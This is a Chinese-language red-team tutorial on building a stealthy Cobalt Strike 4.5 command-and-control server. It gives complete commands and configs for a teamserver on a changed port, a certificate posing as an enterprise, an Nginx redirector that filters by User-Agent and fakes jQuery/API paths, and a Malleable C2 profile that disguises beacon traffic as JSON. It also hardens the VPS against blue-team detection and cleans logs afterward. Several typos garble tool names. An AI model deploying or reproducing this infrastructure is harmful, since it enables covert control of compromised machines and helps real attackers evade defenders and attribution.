前言
在红蓝对抗中,C2(Command&Control)服务器是红队的"神经中枢"————其稳定性决定行动能否持续,隐蔽性决定能否必避开蓝队溯源。多数红队行动暴露,根源在于C3存在明显指纹(如默认50050端口、CS特征证书、异常流量)
本文基于CobaltStrike4.5框架,从基础环境搭建->服务端深度配置->流量伪装->实战验证全流程拆解,每个步骤附命令行+原理说明+排错方案,新手可按步骤落地,老手可参考隐蔽性优化思路。
C2服务器基础环境(Ubuntu20.04LTS)
1.前置准备:硬件与工具清单
类别 | 要求与说明 |
---|---|
VPS服务器 | 优先选择海外节点(如Vultr/Contabo),避免国内备案;配置2核4G起(支撑100+Beacon并发) |
域名 | 非备案域名(推荐Godaddy/Namecheap注册,开启Whois隐私保护,避免个人信息泄露) |
必备工具 | Java11(CS依赖,高版本兼容问题多)、Nginx(反向代理)、Cerbot(SSL证书)、Keytool |
辅助工具 | ProcessHacker(Windows进程监控)、WireShark(流量抓包)、c2Lint(CSProfile语法检测)、微步在线(域名/IP信誉查询) |
配置Java环境
CS基于Java开发,必须使用AdoptOpenJDK(经实战最稳定),java8/17易出现证书加载失败、内存溢出问题。
步骤1:卸载系统默认OpenJDK
系统自带的OpenJDK缺少部分依赖,需先清理:
# 卸载所有OpenJDK相关包
sudo apt remove openjdk-* -y
# 清理残留依赖
sudo apt autoremove -y
步骤2:下载并解压AdoptOpenJDK11
从官方源进行下载,避免第三方镜像篡改风险:
# 进入/usr/local(Linux标准第三方软件目录)
cd /usr/local
# 下载x64架构压缩包(适配绝大多数VPS)
wget https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.21%2B9/OpenJDK11U-jdk_x64_linux_hotspot_11.0.21_9.tar.gz
# 解压并简化目录名(便于后续配置)
tar -zxvf OpenJDK11U-jdk_x64_linux_hotspot_11.0.21_9.tar.gz
mv OpenJDK11U-jdk_x64_linux_hotspot_11.0.21_9 java11
步骤3:配置全局环境变量
编辑/etc/profile确保所有用户可调用Java
sudo vim /etc/profile
# 在文件末尾添加以下内容
export JAVA_HOME=/usr/local/java11
export JRE_HOME=$JAVA_HOME/jre
export PATH=$JAVA_HOME/bin:$JRE_HOME/bin:$PATH
export CLASSPATH=.:$JAVA_HOME/lib:$JRE_HOME/lib
保存退出后,使配置立即生效:
source /etc/profile
步骤4:验证Java安装
执行以下命令,若输出版本信息则成功:
# 验证Java运行环境
java -version
# 验证Java编译环境(CS无需编译,但需确保完整)
javac -version
预期输出
openjdk version "11.0.21" 2023-10-17
OpenJDK Runtime Environment Temurin-11.0.21+9 (build 11.0.21+9)
OpenJDK 64-Bit Server VM Temurin-11.0.21+9 (build 11.0.21+9, mixed mode)
3.上传并配置CobaltStrike服务端
CS服务端核心文件包括(启动脚本)、cobaltstrike.jar(核心程序),需按"目录创建--->文件上传--->证书初始化--->端口修改"流程操作
步骤1:创建CS专用目录并上传文件
建议将CS放在/opt/cs(Linux推荐的第三方工具目录),避免与系统文件混淆
# 创建目录并赋予当前用户权限(避免权限报错)
sudo mkdir -p /opt/cs
sudo chown $USER:$USER /opt/cs
# 本地通过scp上传CS压缩包(替换本地路径和VPS IP)
# 本地终端执行:
scp C:\Local\Path\cobaltstrike4.5.zip root@VPS_IP:/opt/cs/
# VPS端解压压缩包
cd /opt/cs
unzip cobaltstrike4.\5.zip
步骤2:生成自定义证书(替换CS默认特征证书)
CS默认证书包含"CobaltStrike"关键字,易被蓝队特征检测识别,需生成仿"企业域名"的证书:
# 生成Java密钥库(.store格式,CS专用)
keytool -genkey -alias cs-cert -keyalg RSA -validity 3650 \
-keystore /opt/cs/cobaltstrike.store \
-storepass RedTeam@2024 \ # 密钥库密码(后续需频繁使用,记牢)
-keypass RedTeam@2024 \ # 证书密码(与密钥库密码一致,避免混淆)
-dname "CN=your.domain, OU=IT Dept, O=Enterprise, L=Beijing, ST=Beijing, C=CN"
# 参数说明:
# -validity 3650:证书有效期10年,减少续签频率
# -dname:证书主题,CN必须与你的域名一致,O/L/ST/C仿企业信息填写
验证证书:执行以下命令查看证书详情,确保有效日期和主题正确:
keytool -list -v -keystore /opt/cs/cobaltstrike.store -storepass RedTeam@2024
步骤3:修改teamserver脚本(隐藏默认端口+绑定IP)
CS默认监听50050端口(蓝队重点监控),需改为非标准端口(如:65000,避免1024以下特权端口冲突)
#编辑teamserver启动脚本
# 找到末尾启动命令,原内容如下:
# java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=50050 \
# -Dcobaltstrike.server_bindto=127.0.0.1 \
# -Djavax.net.ssl.keyStore=./cobaltstrike.store \
# -Djavax.net.ssl.keyStorePassword=123456 \
# -server -XX:+AggressiveHeap -XX:+UseParallelGC \
# -classpath ./cobaltstrike.jar server.TeamServer $*# 修改为以下内容(重点改端口、绑定IP、密码):
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=65000 \
-Dcobaltstrike.server_bindto=0.0.0.0 \ # 允许所有IP访问(客户端需连接)
-Djavax.net.ssl.keyStore=./cobaltstrike.store \
-Djavax.net.ssl.keyStorePassword=RedTeam@2024 \
-server -XX:+AggressiveHeap -XX:+UseParallelGC \
-classpath ./cobaltstrike.jar server.TeamServer $*
保存后赋予脚本执行权限
chmod +x /opt/cs/teamserver
步骤4:启动CS服务端并验证状态
启动时需指定VPS公网IP和客户端连接密码,后台运行避免终端关闭后进程终止:
# 启动CS(第一个参数:VPS公网IP;第二个参数:客户端连接密码)
cd /opt/cs
./teamserver VPS_IP RedTeam@2024 &# 验证端口监听(65000处于LISTEN状态即成功)
netstat -tulnp | grep 65000
# 预期输出:
# tcp 0 0 0.0.0.0:65000 0.0.0.0:* LISTEN 1234/java# 查看CS日志(无报错即正常,报错需检查Java版本或证书路径)
tail -f /opt/cs/logs/teamserver.log
配置Nginx反向代理(第一层隐蔽+流量过滤)
Nginx是C2隐蔽的"第一道防线",核心作用:1.对外暴露443/80(标准HTTP/HTTPS端口,伪装正常网站);2.过滤非指定UA/非法路径;3.集中管理SSL证书,避免CS直接暴露证书指纹。
步骤1:安装Nginx并清理默认配置
Ubuntu默认源的Nginx版本稳定,直接安装后备份默认配置(避免端口冲突)
#安装Nginx
sudo apt update && sudo apt install nginx -y
#备份默认配置(默认配置占用80端口,与C2需求冲突)
sudo mv /etc/nginx/sites-available/default/etc/nginx/sites-available/default.baksudo rm /etc/nginx/sites-enabled/default #删除默认启用的软链接
步骤2:创建C2专用Nginx配置文件
新建/etc/nginx/sites-available/c2.conf,配置SSL、UA过滤、路径转发(替换your.domain为你的域名)
# 定义上游CS服务端(CS真实地址和端口,与teamserver配置一致)
upstream cs_server {server 127.0.0.1:65000;keepalive 10; # 保持10个长连接,减少TCP握手开销
}# HTTPS服务配置(对外暴露443端口,伪装正常网站)
server {listen 443 ssl;listen [::]:443 ssl;server_name your.domain; # 你的域名# SSL证书路径(后续用Certbot生成Let's Encrypt证书,先占位)ssl_certificate /etc/letsencrypt/live/your.domain/fullchain.pem;ssl_certificate_key /etc/letsencrypt/live/your.domain/privkey.pem;# SSL安全优化(禁用弱加密算法,符合浏览器安全标准)ssl_protocols TLSv1.2 TLSv1.3; # 禁用TLSv1.0/1.1(已被列为不安全)ssl_ciphers ECDHE-RSA-AES256-GCM-SHA512:DHE-RSA-AES256-GCM-SHA512:ECDHE-RSA-AES256-GCM-SHA384;ssl_prefer_server_ciphers on; # 优先使用服务端加密套件ssl_session_cache shared:SSL:10m; # 会话缓存,减少重复握手ssl_session_timeout 10m; # 会话超时时间# 日志配置(记录访问日志,便于排错)access_log /var/log/nginx/c2_access.log;error_log /var/log/nginx/c2_error.log;# 核心:流量过滤规则(仅允许指定UA和路径访问)location ~ ^(/jquery-3.6.0.min.js|/api/v1/data)$ { # 伪装成JS和API路径# 1. 过滤非指定UA(仅允许仿Chrome的UA,其他返回403)if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36") {return 403; # 非指定UA返回403,伪装权限不足}# 2. 转发到CS服务端proxy_pass https://cs_server;# 3. 传递真实IP和Host头(避免CS获取Nginx内网IP)proxy_set_header Host $host;proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;proxy_set_header X-Real-IP $remote_addr;# 4. 禁用缓存(避免CDN/浏览器缓存C2流量)expires off;proxy_redirect off;}# 非指定路径请求,重定向到百度(伪装正常网站跳转)location / {return 302 https://www.baidu.com;}
}# HTTP服务配置(80端口重定向到HTTPS,符合正常网站行为)
server {listen 80;listen [::]:80;server_name your.domain;return 301 https://$host$request_uri; # 强制HTTPS
}
步骤3:启用配置并验证Nginx状态
配置完成后需启用并重启Nginx,确保无语法错误:
# 启用C2配置(创建软链接到sites-enabled目录)
sudo ln -s /etc/nginx/sites-available/c2.conf /etc/nginx/sites-enabled/# 检查配置语法(输出“test is successful”则无错误)
sudo nginx -t# 重启Nginx并设置开机自启
sudo systemctl restart nginx
sudo systemctl enable nginx # 避免VPS重启后Nginx失效
步骤4:测试Nginx转发效果
通过curl命令验证UA过滤和路径转发是否生效
# 1. 用指定UA访问允许路径(应返回200或CS响应)
curl -k -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" https://your.domain/jquery-3.6.0.min.js# 2. 用非指定UA访问(应返回403)
curl -k -A "TestUA" https://your.domain/jquery-3.6.0.min.js# 3. 访问非指定路径(应重定向到百度)
curl -k -L https://your.domain/test # -L跟随重定向
申请Let'sEncrypt可信证书(规避浏览器风险提示)
CS默认自签名证书会被浏览器标记"不安全"易被蓝队察觉,需申请Let'sEncrypt免费可信证书(90天有效期,支持自动续签)。
步骤1:安装Cerbot并申请证书
使用snap安装Certbot(官方推荐方式,避免依赖冲突),自动配置Nginx:
# 安装snap(Ubuntu默认已安装,未安装则执行)
sudo apt install snapd -y
sudo snap install core && sudo snap refresh core# 安装Certbot
sudo snap install --classic certbot
sudo ln -s /snap/bin/certbot /usr/bin/certbot# 申请证书(自动修改Nginx配置,无需手动替换路径)
sudo certbot --nginx -d your.domain --register-unsafely-without-email --agree-tos
# 参数说明:
# --nginx:自动适配Nginx配置
# --register-unsafely-without-email:无需邮箱注册(避免信息泄露)
# --agree-tos:自动同意条款
步骤2:配置证书自动续签:
Let'sEncrypt证书有效期仅90天,需配置定时任务自动续签:
# 测试续签(--dry-run模拟,无报错则正常)
sudo certbot renew --dry-run# 添加定时任务(每月1号0点执行续签)
sudo crontab -e
# 在文件末尾添加:
0 0 1 * * certbot renew --quiet --post-hook "systemctl reload nginx"
# --quiet:静默执行;--post-hook:续签后重载Nginx使证书生效
步骤3:验证证书生效
通过浏览器访问https://your.domain,地址栏显示"小绿锁"即生效;也可通过命令验证:
# 查看证书 issuer(包含“Let's Encrypt”即可信)
openssl s_client -connect your.domain:443 -servername your.domain 2>/dev/null | openssl x509 -noout -issuer
C2服务端深度配置(消除指纹+提升隐蔽性)
1.自定义Malleable C2 Profile(消除CS默认特征)
CS默认流量存在固定指纹(如/css/style.css路径、随机IE UA),需通过MalleableC2Profile修改流量特征,伪装成正常网站通信。
步骤1:创建自定义Profile文件
在/opt/cs/C2Profiles目录新建custom.profile,核心配置如下:
# 全局配置
set sample_name "Enterprise C2 Profile"; # Profile名称(便于识别)
set sleeptime "30000"; # Beacon默认休眠30秒(减少流量频率)
set jitter "20"; # 休眠波动20%,避免固定时间回连(防流量时序检测)
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36"; # 仿Chrome UA# 关闭Stager托管(关键!防止攻击者下载Stage载荷分析)
http-stager {set host_stage "false"; # 禁止CS托管Stage文件set uri_x86 "/api/v1/stage/x86"; # 伪装x86 Stage路径(仿API接口)set uri_x64 "/api/v1/stage/x64"; # 伪装x64 Stage路径client {header "Host" "your.domain";header "Accept-Encoding" "gzip, br"; # 仿正常浏览器请求头header "Referer" "https://your.domain/index.html"; # 伪造Referer(增强真实性)}server {header "Server" "nginx/1.18.0 (Ubuntu)"; # 伪装Nginx响应头header "Content-Type" "application/javascript"; # 伪装JS文件类型output {base64; # 对Stage载荷Base64编码(混淆内容)prepend "// Enterprise API Script"; # prepend注释(伪装JS注释)print;}}
}# HTTPS证书配置(关联之前生成的.store文件)
https-certificate {set keystore "/opt/cs/cobaltstrike.store";set password "RedTeam@2024";
}# HTTP-GET配置(Beacon获取命令)
http-get {set uri "/api/v1/data?type=status"; # 伪装API查询路径client {header "Host" "your.domain";header "Accept" "application/json"; # 仿API请求格式# Metadata(Beacon元数据)编码后放在Cookie头metadata {base64url; # URL安全Base64编码prepend "sessionId=";header "Cookie";}}server {header "Server" "nginx/1.18.0 (Ubuntu)";header "Content-Type" "application/json";output {base64url;prepend "{\"data\":\""; # 伪装JSON格式append "\"}";print;}}
}# HTTP-POST配置(Beacon上传结果)
http-post {set uri "/api/v1/data/submit";client {header "Host" "your.domain";header "Content-Type" "application/json";# Beacon ID编码后放在URL参数id {base64url;parameter "deviceId";}output {base64url;prepend "{\"result\":\"";append "\"}";print;}}server {header "Server" "nginx/1.18.0 (Ubuntu)";header "Content-Type" "application/json";output {print "{\"status\":\"success\"}"; # 伪装正常API响应}}
}
步骤2:用C2lint检查Profile语法
C2自带的c3lint工具可检测语法错误,避免启动时报错:
cd /opt/cs
./c2lint ./C2Profiles/custom.profile
# 若输出“[+] Profile compiled OK”则无错误;若有警告(如UA过长),需按提示修改
步骤3:加载Profile启动CS
修改teamserver脚本,默认加载自定义Profile,避免每次启动手动指定:
vim /opt/cs/teamserver
# 在启动命令末尾添加Profile路径,修改后如下:
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=65000 \
-Dcobaltstrike.server_bindto=0.0.0.0 \
-Djavax.net.ssl.keyStore=./cobaltstrike.store \
-Djavax.net.ssl.keyStorePassword=RedTeam@2024 \
-server -XX:+AggressiveHeap -XX:+UseParallelGC \
-classpath ./cobaltstrike.jar server.TeamServer $* ./C2Profiles/custom.profile
重启CS使Profile生效
# 先杀死原有CS进程
ps aux | grep java | grep cobaltstrike | awk '{print $2}' | xargs kill -9
# 重新启动CS
./teamserver VPS_IP RedTeam@2024
服务器系统加固(减少暴露面)
除C2本身配置外,VPS系统层面需加固,避免蓝队通过端口扫面,Ping检测发现。
步骤1:禁用Ping(伪装 主机不存活)
通过内核参数禁用ICMP Ping请求,篮对Ping VPS时显示:"请求超时":
# 临时禁用(重启后失效)
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all# 永久禁用(修改sysctl.conf)
sudo vim /etc/sysctl.conf
# 添加以下内容
net.ipv4.icmp_echo_ignore_all = 1
# 使配置生效
sudo sysctl -p
步骤2:配置UFW防火墙(仅开放必要端口)
仅开放443(HTTPS)、22(SSH管理)端口,关闭其他所有端口
# 启用UFW防火墙
sudo ufw enable# 允许SSH(22端口)和HTTPS(443端口)
sudo ufw allow 22/tcp
sudo ufw allow 443/tcp# 默认拒绝所有入站请求,允许所有出站请求
sudo ufw default deny incoming
sudo ufw default allow outgoing# 查看防火墙状态(确认22和443已允许)
sudo ufw status
步骤3:隐藏SSH版本(避免指纹泄露)
SSH默认暴露版本信息(如OpenSSH_8.2p1),需修改配置隐藏:
sudo vim /etc/ssh/sshd_config
# 添加以下内容
Banner none
VersionAddendum none# 重启SSH服务
sudo systemctl restart sshd# 验证(本地执行,无版本信息即成功)
ssh -v root@VPS_IP 2>&1 | grep "Remote protocol version"
总结:C2隐蔽性核心原则
- 分层防御:Nginx(流量防御)--->可信证书(规避风险提示)--->自定义Profile(消除CS指针)--->防火墙(端口收敛),层层隐藏特征。。
- 场景化伪装:流量路径(如/api/v1/data)、UA(仿Chrome)、响应格式(JSON/JS)均模仿目标环境正常服务,避免"异常流量"标签。
- 动态化运营:每1-2周更换域名(避免被威胁情报标记)、自动续签证书、调整Beacon休眠时间(根据目标网络繁忙程度)。
- 最小化暴露:禁用Stager托管、关闭不必要端口、隐藏SHH版本、减少攻击面;行动后及时清理VPS(/var/log/nginx、/opt/cs/logs/)